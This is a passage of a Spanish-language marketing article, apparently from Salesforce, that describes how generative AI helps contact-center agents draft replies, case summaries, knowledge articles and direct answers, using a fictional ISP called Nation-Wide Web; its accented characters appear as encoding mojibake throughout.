Veamos un ejemplo de una compa帽铆a ficticia de Internet que llamaremos Nation-Wide Web.

Jane es cliente de Nation-Wide Web y nota un cargo inusual en su factura. Jane abre un mensaje de chat en el sitio web de la empresa y pronto se conecta con una agente, Katie.

Katie tiene abiertas algunas ventanas de mensajes de clientes, una de ellas es Jane. Jane comparte sus preocupaciones sobre su factura. Aparentemente, Jane revis贸 su paquete de datos del mes. La herramienta de inteligencia artificial del centro de contacto usa la pregunta de Jane y el contexto del estado de su cuenta para generar un mensaje personalizado que explica este cargo en un tono emp谩tico, pero tambi茅n que est谩 dentro de la pol铆tica de la empresa renunciar a la tarifa dadas las circunstancias.

Katie revisa el mensaje y confirma la pol铆tica, luego env铆a el mensaje y elimina el cargo de la cuenta de Jane. Jane est谩 contenta de haber obtenido una soluci贸n r谩pida y sencilla y Katie puede centrar su atenci贸n en los clientes con problemas m谩s complejos.

Consejo: Tomarse el tiempo para revisar la precisi贸n y el tono de cualquier comunicaci贸n con el cliente ayuda a evitar malentendidos.

2. Generaci贸n de res煤menes de casos

Para brindarle a su cliente una gran experiencia, necesita datos precisos para rastrear y optimizar las interacciones de servicio de su empresa. Esto hace que el resumen de recapitulaci贸n que hacen sus agentes despu茅s de que se cierra un caso sea uno de los datos de servicio m谩s cruciales que su empresa puede recopilar.

驴El reto? Esta es una tarea que requiere mucho tiempo y evita que sus agentes ayuden a otros clientes.

Pero la IA del centro de contacto puede tomar las conversaciones de chat y correo electr贸nico m谩s complejas y generar un resumen propuesto. Su agente solo necesita revisar estos res煤menes antes de que se guarden en el registro de casos. Esto ahorra a los agentes una tonelada de tiempo y esfuerzo en la entrada de datos.

Volvamos a nuestro ejemplo de Nation-Wide Web.

Si recuerda, la herramienta de inteligencia artificial de Katie gener贸 una respuesta para Jane y todo lo que Katie tuvo que hacer fue revisar el mensaje, presionar enviar y cancelar la tarifa de la cuenta de Jane. Mientras tanto, la IA est谩 utilizando los datos del hilo de mensajes y las acciones que Katie realiz贸 en la cuenta de Jane para generar un resumen del caso.

Una vez completada la conversaci贸n con Jane, Katie puede leer este resumen propuesto, ajustar algunos detalles y guardarlo en el expediente del caso. Reducir el trabajo posterior a la llamada ayuda a Katie a ayudar a otros clientes m谩s r谩pido.

Sugerencia: Cree una plantilla para los res煤menes de sus casos para que la herramienta de inteligencia artificial de su centro de contacto pueda extraer f谩cilmente los datos de la conversaci贸n en el CRM sin perder detalles importantes.

3. Generaci贸n de art铆culos de conocimiento

La investigaci贸n de Salesforce muestra que el 59% de los clientes prefieren herramientas de autoservicio para problemas de servicio simples. Sin embargo, para hacer eso, una empresa necesita una gran base de conocimientos en la que los clientes puedan buscar para encontrar una soluci贸n.

Los agentes de servicio a menudo tienen la tarea de publicar art铆culos de conocimiento despu茅s de resolver un caso. Pero lleva tiempo que los agentes creen, revisen y publiquen manualmente un art铆culo, lo que les impide ayudar a los clientes que lo necesitan.

La IA del centro de contacto puede generar autom谩ticamente un art铆culo de la base de conocimientos despu茅s de que se cierra un caso de soporte extrayendo notas del caso, historial de mensajes y datos de otras herramientas de servicio. A partir de ah铆, su agente solo necesita revisar el art铆culo para garantizar la precisi贸n y agregarlo a la cola para su aprobaci贸n. Esto elimina la presi贸n de los agentes para escribir art铆culos desde cero.

Volviendo a nuestro ejemplo de Nation-Wide Web, Austin tiene Internet lento y llamadas para solucionar problemas. Est谩 conectado con Tawni, quien le pide los detalles de su enrutador y m贸dem. Tawni analiza algunos escenarios comunes basados en casos similares, pero ninguno funciona para la configuraci贸n de Austin.

Tawni decide probar algo nuevo. Le pide a Austin que reinicie todo el sistema a trav茅s de la aplicaci贸n m贸vil Nation-Wide Web. Una vez que esto termina, las velocidades de Internet de Austin vuelven a la normalidad y el caso se cierra. Tawni registra toda esta informaci贸n en la consola de servicio de la empresa, incluida la configuraci贸n de su enrutador y m贸dem, y c贸mo resolvi贸 este problema con un reinicio.

Debido a que este fue un caso 煤nico, la herramienta de inteligencia artificial del centro de contacto utiliza los detalles de la conversaci贸n de Tawni con Austin y el contexto del problema de Austin para generar un nuevo art铆culo de base de conocimiento. Tawni agrega algunos detalles adicionales y los empuja a la cola de aprobaci贸n.

Sugerencia: incluya tantos detalles como sea posible en los art铆culos de su base de conocimiento para que los clientes tengan toda la informaci贸n que necesitan para resolver sus problemas.

4. Generar respuestas

Cuando sus agentes est谩n en medio de una interacci贸n de servicio, no tienen tiempo para leer p谩ginas de documentaci贸n o cada detalle de un art铆culo de la base de conocimiento. Pero a煤n necesitan encontrar la informaci贸n correcta para resolver la consulta de su cliente.

Lo mismo ocurre con el autoservicio . Leer art铆culo tras art铆culo para encontrar la informaci贸n que necesita no es una buena experiencia para el cliente.

La IA generativa puede ayudar a los agentes y clientes a obtener las respuestas que necesitan de forma m谩s r谩pida y sencilla. En lugar de obtener una lista de p谩ginas que pueden (o no) tener la respuesta, AI puede extraer los detalles relevantes de un art铆culo de conocimiento y responder una pregunta directamente como texto sin formato.

Para nuestro ejemplo final, volveremos a nuestro cliente de Nation-Wide Web, Austin.

Unos meses despu茅s de su interacci贸n con Tawni, su Internet vuelve a ser lento. Recuerda que usaron la aplicaci贸n m贸vil para solucionar el problema la 煤ltima vez, pero ahora no puede acceder a la aplicaci贸n m贸vil. Pero en lugar de pedir ayuda, echa un vistazo al Centro de ayuda de la empresa. Austin usa la funci贸n de b煤squeda para hacer la siguiente pregunta: "驴C贸mo soluciono una conexi贸n a Internet lenta cuando no puedo acceder a mi aplicaci贸n m贸vil?"

Antes, Austin primero habr铆a tenido que encontrar el art铆culo sobre c贸mo restablecer su contrase帽a y luego encontrar el art铆culo sobre el uso de la aplicaci贸n para realizar un reinicio completo del sistema. Ahora, la herramienta de inteligencia artificial del centro de contacto genera una respuesta personalizada a la pregunta de Austin, reuniendo informaci贸n de varios art铆culos. 鈥淧rimero, haga clic aqu铆 para solicitar una nueva contrase帽a para su aplicaci贸n m贸vil. Una vez que haya iniciado sesi贸n, aqu铆 se explica c贸mo usar la aplicaci贸n para realizar un reinicio completo del sistema鈥︹

Austin resolvi贸 su problema sin interactuar con un agente y aun as铆 obtuvo una experiencia personalizada. Si un agente fuera el que necesitara encontrar informaci贸n espec铆fica dentro del centro de conocimiento, tendr铆a la misma experiencia.

Sugerencia: hacer que su contenido de autoservicio sea f谩cil de encontrar y navegar genera confianza en el cliente.

Al agregar IA generativa a su centro de contacto , est谩 ayudando a todos a aprovechar al m谩ximo cada interacci贸n de servicio. Sus agentes hacen m谩s con menos trabajo y sus clientes obtienen una resoluci贸n r谩pida y f谩cil a sus problemas mientras disfrutan de una experiencia personalizada.

驴Cu谩l es la mejor manera de prepararse para el 茅xito con la IA generativa? Comience lentamente y desarrolle su programa de IA para el centro de contacto a medida que aumenta sus habilidades comerciales en IA. Por ejemplo, haga que sus agentes tomen Recomendaciones de respuesta de Einstein para el servicio en Trailhead y luego practiquen lo que aprenden entre ellos. Una vez que se sientan c贸modos, vea c贸mo puede aplicar IA generativa en su centro de contacto .

Potencie su servicio al cliente con IA generativa

Puede escalar su servicio al cliente con el poder de la IA generativa junto con los datos de su cliente y CRM. Vea c贸mo esta tecnolog铆a mejora la eficiencia en el centro de contacto y aumenta la lealtad del cliente.

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